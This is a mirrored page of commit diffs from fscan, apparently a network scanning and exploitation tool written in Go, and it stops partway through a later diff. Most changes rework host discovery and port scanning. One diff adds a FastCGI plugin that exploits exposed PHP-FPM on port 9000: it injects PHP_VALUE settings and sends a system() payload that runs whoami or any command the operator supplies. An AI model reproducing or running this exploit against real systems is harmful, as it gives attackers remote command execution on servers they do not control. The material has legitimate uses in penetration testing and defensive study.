mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c8ec4eab79 | ||
|
|
80fe8548c1 | ||
|
|
ad1c53e3f4 | ||
|
|
a8835a9fe4 | ||
|
|
db8acb2828 | ||
|
|
288338bc9d | ||
|
|
0743e4cb68 | ||
|
|
6cdf1e19dc | ||
|
|
a427833e3f | ||
|
|
d974523d88 | ||
|
|
c90c9272f0 | ||
|
|
a9e78b6de3 | ||
|
|
ca1e0c791c | ||
|
|
90ef895e0f | ||
|
|
162d1dd3a3 | ||
|
|
f3b0c4a6d2 | ||
|
|
936c1f5395 | ||
|
|
9d385eb26a | ||
|
|
61e814119d | ||
|
|
f5c9667f91 | ||
|
|
4f3ff608ab | ||
|
|
0dd41e2917 | ||
|
|
7031d78439 |
@@ -119,7 +119,7 @@ func SmbGhostScan(info *common.HostInfo) error {
|
||||
}
|
||||
defer conn.Close()
|
||||
if bytes.Contains(buff[:n], []byte("Public")) == true {
|
||||
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||
common.LogSuccess(result)
|
||||
|
||||
}
|
||||
|
||||
+1
-1
@@ -54,7 +54,7 @@ func NetBIOS(info *common.HostInfo) error {
|
||||
if strings.Contains(nbname.msg, "Domain Controllers") {
|
||||
isdc = "[+]DC"
|
||||
}
|
||||
msg += fmt.Sprintf("[*] %-15s%-5s %s\\%s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
|
||||
msg += fmt.Sprintf("[*] %-15s%-5s %s\\%-15s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
|
||||
|
||||
if info.Scantype == "netbios" {
|
||||
msg += "\n-------------------------------------------\n" + nbname.msg
|
||||
|
||||
@@ -10,6 +10,7 @@ var PluginList = map[string]interface{}{
|
||||
"3306": MysqlScan,
|
||||
"5432": PostgresScan,
|
||||
"6379": RedisScan,
|
||||
"9000": FcgiScan,
|
||||
"11211": MemcachedScan,
|
||||
"27017": MongodbScan,
|
||||
"1000001": MS17010,
|
||||
|
||||
@@ -0,0 +1,365 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"io"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
//links
|
||||
//https://xz.aliyun.com/t/9544
|
||||
//https://github.com/wofeiwo/webcgi-exploits
|
||||
|
||||
func FcgiScan(info *common.HostInfo) {
|
||||
url := "/etc/issue"
|
||||
if info.Path != "" {
|
||||
url = info.Path
|
||||
}
|
||||
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
var reqParams string
|
||||
var cutLine = "-----ASDGTasdkk361363s-----\n"
|
||||
switch {
|
||||
case info.Command == "read":
|
||||
reqParams = ""
|
||||
case info.Command != "":
|
||||
reqParams = "<?php system('" + info.Command + "');die('" + cutLine + "');?>"
|
||||
default:
|
||||
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
|
||||
}
|
||||
|
||||
env := make(map[string]string)
|
||||
|
||||
env["SCRIPT_FILENAME"] = url
|
||||
env["DOCUMENT_ROOT"] = "/"
|
||||
env["SERVER_SOFTWARE"] = "go / fcgiclient "
|
||||
env["REMOTE_ADDR"] = "127.0.0.1"
|
||||
env["SERVER_PROTOCOL"] = "HTTP/1.1"
|
||||
|
||||
if len(reqParams) != 0 {
|
||||
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
|
||||
env["REQUEST_METHOD"] = "POST"
|
||||
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
|
||||
} else {
|
||||
env["REQUEST_METHOD"] = "GET"
|
||||
}
|
||||
|
||||
fcgi, err := New(addr, info.Timeout)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
return
|
||||
}
|
||||
|
||||
stdout, stderr, err := fcgi.Request(env, reqParams)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
return
|
||||
}
|
||||
|
||||
//1
|
||||
//Content-type: text/html
|
||||
//
|
||||
//uid=1001(www) gid=1001(www) groups=1001(www)
|
||||
|
||||
//2
|
||||
//Status: 404 Not Found
|
||||
//Content-type: text/html
|
||||
//
|
||||
//File not found.
|
||||
//Primary script unknown
|
||||
|
||||
//3
|
||||
//Status: 403 Forbidden
|
||||
//Content-type: text/html
|
||||
//
|
||||
//Access denied.
|
||||
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
|
||||
var result string
|
||||
var output = string(stdout)
|
||||
if strings.Contains(string(stdout), cutLine) { //命令成功回显
|
||||
output = strings.SplitN(string(stdout), cutLine, 2)[0]
|
||||
if len(stderr) > 0 {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
|
||||
if len(stderr) > 0 {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
|
||||
// for padding so we don't have to allocate all the time
|
||||
// not synchronized because we don't care what the contents are
|
||||
var pad [maxPad]byte
|
||||
|
||||
const (
|
||||
FCGI_BEGIN_REQUEST uint8 = iota + 1
|
||||
FCGI_ABORT_REQUEST
|
||||
FCGI_END_REQUEST
|
||||
FCGI_PARAMS
|
||||
FCGI_STDIN
|
||||
FCGI_STDOUT
|
||||
FCGI_STDERR
|
||||
)
|
||||
|
||||
const (
|
||||
FCGI_RESPONDER uint8 = iota + 1
|
||||
)
|
||||
|
||||
const (
|
||||
maxWrite = 6553500 // maximum record body
|
||||
maxPad = 255
|
||||
)
|
||||
|
||||
type header struct {
|
||||
Version uint8
|
||||
Type uint8
|
||||
Id uint16
|
||||
ContentLength uint16
|
||||
PaddingLength uint8
|
||||
Reserved uint8
|
||||
}
|
||||
|
||||
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
|
||||
h.Version = 1
|
||||
h.Type = recType
|
||||
h.Id = reqId
|
||||
h.ContentLength = uint16(contentLength)
|
||||
h.PaddingLength = uint8(-contentLength & 7)
|
||||
}
|
||||
|
||||
type record struct {
|
||||
h header
|
||||
buf [maxWrite + maxPad]byte
|
||||
}
|
||||
|
||||
func (rec *record) read(r io.Reader) (err error) {
|
||||
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
|
||||
return err
|
||||
}
|
||||
if rec.h.Version != 1 {
|
||||
return errors.New("fcgi: invalid header version")
|
||||
}
|
||||
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
|
||||
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *record) content() []byte {
|
||||
return r.buf[:r.h.ContentLength]
|
||||
}
|
||||
|
||||
type FCGIClient struct {
|
||||
mutex sync.Mutex
|
||||
rwc io.ReadWriteCloser
|
||||
h header
|
||||
buf bytes.Buffer
|
||||
keepAlive bool
|
||||
}
|
||||
|
||||
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
||||
conn, err := net.DialTimeout("tcp", addr, time.Duration(timeout)*time.Second)
|
||||
fcgi = &FCGIClient{
|
||||
rwc: conn,
|
||||
keepAlive: false,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
|
||||
this.mutex.Lock()
|
||||
defer this.mutex.Unlock()
|
||||
this.buf.Reset()
|
||||
this.h.init(recType, reqId, len(content))
|
||||
if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := this.buf.Write(content); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = this.rwc.Write(this.buf.Bytes())
|
||||
return err
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
|
||||
b := [8]byte{byte(role >> 8), byte(role), flags}
|
||||
return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
|
||||
b := make([]byte, 8)
|
||||
binary.BigEndian.PutUint32(b, uint32(appStatus))
|
||||
b[4] = protocolStatus
|
||||
return this.writeRecord(FCGI_END_REQUEST, reqId, b)
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
|
||||
w := newWriter(this, recType, reqId)
|
||||
b := make([]byte, 8)
|
||||
for k, v := range pairs {
|
||||
n := encodeSize(b, uint32(len(k)))
|
||||
n += encodeSize(b[n:], uint32(len(v)))
|
||||
if _, err := w.Write(b[:n]); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := w.WriteString(k); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := w.WriteString(v); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
w.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
func readSize(s []byte) (uint32, int) {
|
||||
if len(s) == 0 {
|
||||
return 0, 0
|
||||
}
|
||||
size, n := uint32(s[0]), 1
|
||||
if size&(1<<7) != 0 {
|
||||
if len(s) < 4 {
|
||||
return 0, 0
|
||||
}
|
||||
n = 4
|
||||
size = binary.BigEndian.Uint32(s)
|
||||
size &^= 1 << 31
|
||||
}
|
||||
return size, n
|
||||
}
|
||||
|
||||
func readString(s []byte, size uint32) string {
|
||||
if size > uint32(len(s)) {
|
||||
return ""
|
||||
}
|
||||
return string(s[:size])
|
||||
}
|
||||
|
||||
func encodeSize(b []byte, size uint32) int {
|
||||
if size > 127 {
|
||||
size |= 1 << 31
|
||||
binary.BigEndian.PutUint32(b, size)
|
||||
return 4
|
||||
}
|
||||
b[0] = byte(size)
|
||||
return 1
|
||||
}
|
||||
|
||||
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
|
||||
// Closed.
|
||||
type bufWriter struct {
|
||||
closer io.Closer
|
||||
*bufio.Writer
|
||||
}
|
||||
|
||||
func (w *bufWriter) Close() error {
|
||||
if err := w.Writer.Flush(); err != nil {
|
||||
w.closer.Close()
|
||||
return err
|
||||
}
|
||||
return w.closer.Close()
|
||||
}
|
||||
|
||||
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
|
||||
s := &streamWriter{c: c, recType: recType, reqId: reqId}
|
||||
w := bufio.NewWriterSize(s, maxWrite)
|
||||
return &bufWriter{s, w}
|
||||
}
|
||||
|
||||
// streamWriter abstracts out the separation of a stream into discrete records.
|
||||
// It only writes maxWrite bytes at a time.
|
||||
type streamWriter struct {
|
||||
c *FCGIClient
|
||||
recType uint8
|
||||
reqId uint16
|
||||
}
|
||||
|
||||
func (w *streamWriter) Write(p []byte) (int, error) {
|
||||
nn := 0
|
||||
for len(p) > 0 {
|
||||
n := len(p)
|
||||
if n > maxWrite {
|
||||
n = maxWrite
|
||||
}
|
||||
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
|
||||
return nn, err
|
||||
}
|
||||
nn += n
|
||||
p = p[n:]
|
||||
}
|
||||
return nn, nil
|
||||
}
|
||||
|
||||
func (w *streamWriter) Close() error {
|
||||
// send empty record to close the stream
|
||||
return w.c.writeRecord(w.recType, w.reqId, nil)
|
||||
}
|
||||
|
||||
func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
|
||||
|
||||
var reqId uint16 = 1
|
||||
defer this.rwc.Close()
|
||||
|
||||
err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = this.writePairs(FCGI_PARAMS, reqId, env)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(reqStr) > 0 {
|
||||
err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
rec := &record{}
|
||||
var err1 error
|
||||
|
||||
// recive untill EOF or FCGI_END_REQUEST
|
||||
for {
|
||||
err1 = rec.read(this.rwc)
|
||||
if err1 != nil {
|
||||
if err1 != io.EOF {
|
||||
err = err1
|
||||
}
|
||||
break
|
||||
}
|
||||
switch {
|
||||
case rec.h.Type == FCGI_STDOUT:
|
||||
retout = append(retout, rec.content()...)
|
||||
case rec.h.Type == FCGI_STDERR:
|
||||
reterr = append(reterr, rec.content()...)
|
||||
case rec.h.Type == FCGI_END_REQUEST:
|
||||
fallthrough
|
||||
default:
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
+176
-120
@@ -5,62 +5,72 @@ import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/net/icmp"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var AliveHosts []string
|
||||
var (
|
||||
AliveHosts []string
|
||||
OS = runtime.GOOS
|
||||
ExistHosts = make(map[string]struct{})
|
||||
livewg sync.WaitGroup
|
||||
)
|
||||
|
||||
var SysInfo = GetSys()
|
||||
func ICMPRun(hostslist []string, Ping bool) []string {
|
||||
chanHosts := make(chan string, len(hostslist))
|
||||
go func() {
|
||||
for ip := range chanHosts {
|
||||
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
|
||||
ExistHosts[ip] = struct{}{}
|
||||
if common.Silent == false {
|
||||
if Ping == false {
|
||||
fmt.Printf("(icmp) Target '%s' is alive\n", ip)
|
||||
} else {
|
||||
fmt.Printf("(ping) Target '%s' is alive\n", ip)
|
||||
}
|
||||
}
|
||||
AliveHosts = append(AliveHosts, ip)
|
||||
}
|
||||
livewg.Done()
|
||||
}
|
||||
}()
|
||||
|
||||
type SystemInfo struct {
|
||||
OS string
|
||||
HostName string
|
||||
Groupid string
|
||||
Userid string
|
||||
Username string
|
||||
}
|
||||
|
||||
func GetSys() SystemInfo {
|
||||
var sysinfo SystemInfo
|
||||
|
||||
sysinfo.OS = runtime.GOOS
|
||||
name, err := os.Hostname()
|
||||
if err == nil {
|
||||
sysinfo.HostName = name
|
||||
if Ping == true {
|
||||
//使用ping探测
|
||||
RunPing(hostslist, chanHosts)
|
||||
} else {
|
||||
name = "none"
|
||||
//优先尝试监听本地icmp,批量探测
|
||||
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
||||
if err == nil {
|
||||
RunIcmp1(hostslist, conn, chanHosts)
|
||||
} else {
|
||||
common.LogError(err)
|
||||
//尝试无监听icmp探测
|
||||
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
|
||||
if err == nil {
|
||||
go conn.Close()
|
||||
RunIcmp2(hostslist, chanHosts)
|
||||
} else {
|
||||
common.LogError(err)
|
||||
//使用ping探测
|
||||
fmt.Println("The current user permissions unable to send icmp packets")
|
||||
fmt.Println("start ping")
|
||||
RunPing(hostslist, chanHosts)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
u, err := user.Current()
|
||||
if err == nil {
|
||||
sysinfo.Groupid = u.Gid
|
||||
sysinfo.Userid = u.Uid
|
||||
sysinfo.Username = u.Username
|
||||
} else {
|
||||
sysinfo.Groupid = "1"
|
||||
sysinfo.Userid = "1"
|
||||
sysinfo.Username = name
|
||||
}
|
||||
|
||||
return sysinfo
|
||||
livewg.Wait()
|
||||
close(chanHosts)
|
||||
return AliveHosts
|
||||
}
|
||||
|
||||
func IcmpCheck(hostslist []string) {
|
||||
TmpHosts := make(map[string]struct{})
|
||||
var chanHosts = make(chan string)
|
||||
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
||||
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
|
||||
endflag := false
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
go func() {
|
||||
for {
|
||||
if endflag == true {
|
||||
@@ -69,51 +79,114 @@ func IcmpCheck(hostslist []string) {
|
||||
msg := make([]byte, 100)
|
||||
_, sourceIP, _ := conn.ReadFrom(msg)
|
||||
if sourceIP != nil {
|
||||
livewg.Add(1)
|
||||
chanHosts <- sourceIP.String()
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
for ip := range chanHosts {
|
||||
if _, ok := TmpHosts[ip]; !ok {
|
||||
TmpHosts[ip] = struct{}{}
|
||||
if common.Silent == false {
|
||||
fmt.Printf("(icmp) Target '%s' is alive\n", ip)
|
||||
}
|
||||
AliveHosts = append(AliveHosts, ip)
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
for _, host := range hostslist {
|
||||
write(host, conn)
|
||||
dst, _ := net.ResolveIPAddr("ip", host)
|
||||
IcmpByte := makemsg(host)
|
||||
conn.WriteTo(IcmpByte, dst)
|
||||
}
|
||||
|
||||
if len(hostslist) > 255 {
|
||||
time.Sleep(6 * time.Second)
|
||||
} else {
|
||||
time.Sleep(3 * time.Second)
|
||||
//根据hosts数量修改icmp监听时间
|
||||
start := time.Now()
|
||||
for {
|
||||
if len(AliveHosts) == len(hostslist) {
|
||||
break
|
||||
}
|
||||
since := time.Now().Sub(start)
|
||||
var wait time.Duration
|
||||
switch {
|
||||
case len(hostslist) <= 256:
|
||||
wait = time.Second * 3
|
||||
default:
|
||||
wait = time.Second * 6
|
||||
}
|
||||
if since > wait {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
endflag = true
|
||||
close(chanHosts)
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
func write(ip string, conn *icmp.PacketConn) {
|
||||
dst, _ := net.ResolveIPAddr("ip", ip)
|
||||
IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
|
||||
conn.WriteTo(IcmpByte, dst)
|
||||
func RunIcmp2(hostslist []string, chanHosts chan string) {
|
||||
num := 1000
|
||||
if len(hostslist) < num {
|
||||
num = len(hostslist)
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
limiter := make(chan struct{}, num)
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
if icmpalive(host) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
close(limiter)
|
||||
}
|
||||
|
||||
func icmpalive(host string) bool {
|
||||
startTime := time.Now()
|
||||
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer conn.Close()
|
||||
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
|
||||
return false
|
||||
}
|
||||
msg := makemsg(host)
|
||||
if _, err := conn.Write(msg); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
receive := make([]byte, 60)
|
||||
if _, err := conn.Read(receive); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func RunPing(hostslist []string, chanHosts chan string) {
|
||||
var bsenv = ""
|
||||
if OS != "windows" {
|
||||
bsenv = "/bin/bash"
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
limiter := make(chan struct{}, 50)
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
if ExecCommandPing(host, bsenv) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func ExecCommandPing(ip string, bsenv string) bool {
|
||||
var command *exec.Cmd
|
||||
if SysInfo.OS == "windows" {
|
||||
if OS == "windows" {
|
||||
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
} else if SysInfo.OS == "linux" {
|
||||
} else if OS == "linux" {
|
||||
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
} else if SysInfo.OS == "darwin" {
|
||||
} else if OS == "darwin" {
|
||||
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
}
|
||||
outinfo := bytes.Buffer{}
|
||||
@@ -133,59 +206,42 @@ func ExecCommandPing(ip string, bsenv string) bool {
|
||||
}
|
||||
}
|
||||
|
||||
func PingCMDcheck(hostslist []string, bsenv string) {
|
||||
var wg sync.WaitGroup
|
||||
mutex := &sync.Mutex{}
|
||||
limiter := make(chan struct{}, 50)
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
defer wg.Done()
|
||||
if ExecCommandPing(host, bsenv) {
|
||||
mutex.Lock()
|
||||
if common.Silent == false {
|
||||
fmt.Printf("(Ping) Target '%s' is alive\n", host)
|
||||
}
|
||||
AliveHosts = append(AliveHosts, host)
|
||||
mutex.Unlock()
|
||||
}
|
||||
<-limiter
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
func makemsg(host string) []byte {
|
||||
msg := make([]byte, 40)
|
||||
id0, id1 := genIdentifier(host)
|
||||
msg[0] = 8
|
||||
msg[1] = 0
|
||||
msg[2] = 0
|
||||
msg[3] = 0
|
||||
msg[4], msg[5] = id0, id1
|
||||
msg[6], msg[7] = genSequence(1)
|
||||
check := checkSum(msg[0:40])
|
||||
msg[2] = byte(check >> 8)
|
||||
msg[3] = byte(check & 255)
|
||||
return msg
|
||||
}
|
||||
func ICMPRun(hostslist []string, Ping bool) []string {
|
||||
if SysInfo.OS == "windows" {
|
||||
if Ping == false {
|
||||
IcmpCheck(hostslist)
|
||||
} else {
|
||||
PingCMDcheck(hostslist, "")
|
||||
}
|
||||
} else if SysInfo.OS == "linux" {
|
||||
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
|
||||
if Ping == false {
|
||||
IcmpCheck(hostslist)
|
||||
} else {
|
||||
PingCMDcheck(hostslist, "/bin/bash")
|
||||
}
|
||||
} else {
|
||||
fmt.Println("The current user permissions unable to send icmp packets")
|
||||
fmt.Println("start ping")
|
||||
PingCMDcheck(hostslist, "/bin/bash")
|
||||
}
|
||||
} else if SysInfo.OS == "darwin" {
|
||||
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
|
||||
if Ping == false {
|
||||
IcmpCheck(hostslist)
|
||||
} else {
|
||||
PingCMDcheck(hostslist, "/bin/bash")
|
||||
}
|
||||
} else {
|
||||
fmt.Println("The current user permissions unable to send icmp packets")
|
||||
fmt.Println("start ping")
|
||||
PingCMDcheck(hostslist, "/bin/bash")
|
||||
}
|
||||
|
||||
func checkSum(msg []byte) uint16 {
|
||||
sum := 0
|
||||
length := len(msg)
|
||||
for i := 0; i < length-1; i += 2 {
|
||||
sum += int(msg[i])*256 + int(msg[i+1])
|
||||
}
|
||||
return AliveHosts
|
||||
if length%2 == 1 {
|
||||
sum += int(msg[length-1]) * 256
|
||||
}
|
||||
sum = (sum >> 16) + (sum & 0xffff)
|
||||
sum = sum + (sum >> 16)
|
||||
answer := uint16(^sum)
|
||||
return answer
|
||||
}
|
||||
|
||||
func genSequence(v int16) (byte, byte) {
|
||||
ret1 := byte(v >> 8)
|
||||
ret2 := byte(v & 255)
|
||||
return ret1, ret2
|
||||
}
|
||||
|
||||
func genIdentifier(host string) (byte, byte) {
|
||||
return host[0], host[1]
|
||||
}
|
||||
|
||||
+1
-2
@@ -81,7 +81,7 @@ func MS17010Scan(info *common.HostInfo) error {
|
||||
// find byte count
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
fmt.Println("invalid session setup AndX response")
|
||||
fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response")
|
||||
} else {
|
||||
// two continous null bytes indicates end of a unicode string
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
@@ -141,7 +141,6 @@ func MS17010Scan(info *common.HostInfo) error {
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
|
||||
result := fmt.Sprintf("[+] %s has DOUBLEPULSAR SMB IMPLANT", ip)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
|
||||
+2
-2
@@ -34,8 +34,8 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
probePorts = tmpPorts
|
||||
}
|
||||
workers := common.Threads
|
||||
Addrs := make(chan Addr)
|
||||
results := make(chan string)
|
||||
Addrs := make(chan Addr, len(hostslist)*len(probePorts))
|
||||
results := make(chan string, len(hostslist)*len(probePorts))
|
||||
var wg sync.WaitGroup
|
||||
|
||||
//接收结果
|
||||
|
||||
+13
-8
@@ -3,7 +3,7 @@ package Plugins
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"reflect"
|
||||
"strconv"
|
||||
@@ -14,7 +14,7 @@ import (
|
||||
func Scan(info common.HostInfo) {
|
||||
fmt.Println("start infoscan")
|
||||
Hosts, _ := common.ParseIP(info.Host, common.HostFile)
|
||||
WebScan.Inithttp(common.Pocinfo)
|
||||
lib.Inithttp(common.Pocinfo)
|
||||
var ch = make(chan struct{}, common.Threads)
|
||||
var wg = sync.WaitGroup{}
|
||||
if len(Hosts) > 0 {
|
||||
@@ -39,12 +39,17 @@ func Scan(info common.HostInfo) {
|
||||
for _, targetIP := range AlivePorts {
|
||||
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
|
||||
if info.Scantype == "all" {
|
||||
if info.Ports == "445" { //scan more vul
|
||||
AddScan("1000001", info, ch, &wg)
|
||||
AddScan("1000002", info, ch, &wg)
|
||||
} else if IsContain(severports, info.Ports) {
|
||||
AddScan(info.Ports, info, ch, &wg)
|
||||
} else {
|
||||
switch {
|
||||
case info.Ports == "445":
|
||||
//AddScan(info.Ports, info, ch, &wg) //smb
|
||||
AddScan("1000001", info, ch, &wg) //ms17010
|
||||
AddScan("1000002", info, ch, &wg) //smbghost
|
||||
case info.Ports == "9000":
|
||||
AddScan(info.Ports, info, ch, &wg) //fcgiscan
|
||||
AddScan("1000003", info, ch, &wg) //http
|
||||
case IsContain(severports, info.Ports):
|
||||
AddScan(info.Ports, info, ch, &wg) //plugins scan
|
||||
default:
|
||||
AddScan("1000003", info, ch, &wg) //webtitle
|
||||
}
|
||||
} else {
|
||||
|
||||
+3
-3
@@ -40,7 +40,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func SmblConn(info *common.HostInfo, user string, pass string, Domain string, signal chan struct{}) (flag bool, err error) {
|
||||
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Username, Password := info.Host, user, pass
|
||||
options := smb.Options{
|
||||
@@ -48,7 +48,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, Domain string, si
|
||||
Port: 445,
|
||||
User: Username,
|
||||
Password: Password,
|
||||
Domain: Domain,
|
||||
Domain: info.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
@@ -66,7 +66,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, Domain string, si
|
||||
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
signal := make(chan struct{})
|
||||
go func() {
|
||||
flag, err = SmblConn(info, user, pass, info.Domain, signal)
|
||||
flag, err = SmblConn(info, user, pass, signal)
|
||||
}()
|
||||
select {
|
||||
case <-signal:
|
||||
|
||||
+31
-6
@@ -1,9 +1,11 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
